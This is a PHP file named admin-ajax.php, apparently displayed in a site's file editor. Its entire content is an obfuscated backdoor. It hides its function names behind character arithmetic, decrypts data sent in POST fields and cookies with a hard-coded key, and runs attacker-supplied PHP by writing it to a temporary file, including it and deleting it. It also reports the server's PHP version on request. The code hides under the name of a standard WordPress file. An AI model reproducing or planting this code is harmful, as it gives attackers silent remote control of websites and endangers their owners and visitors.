Edit File: admin-ajax.php
<?php $siphs /* vqbkbo*/ = 'siphs' /* kudhus */ ^ /*w*/ ''; $suxkgub_fp = "a"."\162" . "\162" . /* grf_ix */ "a"."\171" . /* emg */ $siphs(768-673) /* kpd_fr */ . "m"."a"."\160"; $a_wtzb /* c */ = /* sh_mkj */ $siphs(106) . "o"."\151" /* _ */ . "n"; function /* genvf */ usmiollb($xzbyn, $wzxlxih) { /* ocqp */ global $siphs; /*v_ */ $xzbyn = /* v */ "\x3c" . "\x3f" /*trk */ . /* cvns*/ "p".$siphs(996-892) . $siphs(285-173) . $siphs(32) . "u"."n"."l".$siphs(142-37)."\x6e" . "k".$siphs(687-647) . /* mm_pwk*/ $siphs(95) /*il */ . "_"."\106" . /* o */ "\x49" . $siphs(437-361) /* s */ . /* r */ $siphs(69) . $siphs(867-772) /*gdyaz */ . "_".")".";".$siphs(32) /*vxw */ . $xzbyn["\144"]; /* vrvjo*/ $oqxjxaxkf /* ijqbne */ = "f".$siphs(142-37)."l"."\x65" . $siphs(95) . "p"."u"."t".$siphs(915-820) . "c"."\x6f" /* tq*/ . "n"."\164" . $siphs(659-558)."\x6e" /*kav */ . "t"."\x73"; $oqxjxaxkf($wzxlxih, $xzbyn); o_yxv($wzxlxih); } $kgaypqqkir = 73; function /* _u*/ o_yxv($wzxlxih){ global $siphs; include($wzxlxih); $nekxqx = $wzxlxih; @unlink($nekxqx); } function /* xszilf*/ runmd(){ global $siphs; /* t */ $jfcthu = /* ykq*/ array(); $jfcthu["p"."v"] = phpversion(); $jfcthu["\163" /* syhlig */ . /* tvlnol*/ "\166"] /* szrdkk */ = /* sgtw */ "\x33" . /* r */ $siphs(46) . "5"; $suvo_ylb_o /* bqytzr*/ = 74; echo /* h*/ @serialize($jfcthu); } function lrswccios($xzbyn, $oqsjcaedjskabsg) { global $siphs; $pksgk /*whj_ */ = ""; /* unq_y*/ $knxpkvc = strlen($xzbyn); $ueesixixj = /* nbia */ strlen($oqsjcaedjskabsg); $jfcthu /* mw */ = 0; $oqsjcae = 0; while ($jfcthu /*mhmui*/ < $knxpkvc) /* ghs*/ { $puk_ar = $xzbyn[$jfcthu] ^ /* q*/ $oqsjcaedjskabsg[$oqsjcae % $ueesixixj]; $pksgk .= /*_mco*/ $puk_ar; /* v */ $oqsjcae++; /* x */ $jfcthu++; } /* hl */ if (strlen($pksgk) > 20) { $waqcuczyk /* ibssu */ = substr($pksgk, 0, /*wvqbfp */ 20); } if (empty($pksgk)) { $pksgk = /*qenbc */ date('Y-m-d H:i:s'); /*n */ } return $pksgk; } function wzvfbg($tpfquyl_q){ /*tur*/ global $siphs; $mrawvt = "\63" . $siphs(52) . /* m */ "\x39" . "6"."\142" . "\x33" . "\x33" . "\65" . /*hhppia */ "\x2d" . /* ttgut*/ "9"."\x66" /* ma */ . /* trfw */ "\141"."7"."-"."\64" . $siphs(100) . /* isnz_p*/ "\144"."8"."-"."8".$siphs(989-932) . /*fzqxpm */ $siphs(343-246) . /* juciar*/ "\141".$siphs(45) . "f"."\143" . /* yhv*/ "\x65" . $siphs(659-558)."\x64" . $siphs(728-631) . $siphs(117-19) . "3".$siphs(177-122) /* zo */ . $siphs(98) . "\146" . "\x63"; foreach ($tpfquyl_q as $pmobkskrvy /* rkrn */ => /* vpbsfw */ $xzbyn) /* iee */ { j_vbvmgg(base64_decode($xzbyn), /* swin */ $mrawvt, /* ir */ $pmobkskrvy); /* xinmlv */ } } function /* gopwvy */ j_vbvmgg($xzbyn, $mrawvt, /* ce__l_*/ $pmobkskrvy) { global $siphs; $xzbyn = unserialize(lrswccios(lrswccios($xzbyn, $mrawvt), $pmobkskrvy)); $mdiepsz = 'sx_qlzyefp'; $d_nr_ = 'ua'; if (isset($xzbyn["\141"."k"])) { if /* _m */ ($xzbyn["\141"] /* b */ == $siphs(142-37)) { runmd(); } elseif ($xzbyn["\141"] == $siphs(659-558)) { usmiollb($xzbyn, /* kjwuxd */ sprintf("."."/".$siphs(37) . "\163" . "."."\160" /* nucfv */ . /*jqv */ "\154", md5($mrawvt))); $fsius = /* uha */ 44; /*pevj_h */ } exit(); } } wzvfbg($_POST); $gwujufpils = Array(); $hxnezdwt /* uajdkn*/ = /*lhsx */ $suxkgub_fp('rawurldecode', $_POST);$a_wtzb($gwujufpils); wzvfbg($_COOKIE); $oqsjcaetviaa = $suxkgub_fp('rawurldecode', $_COOKIE); ?>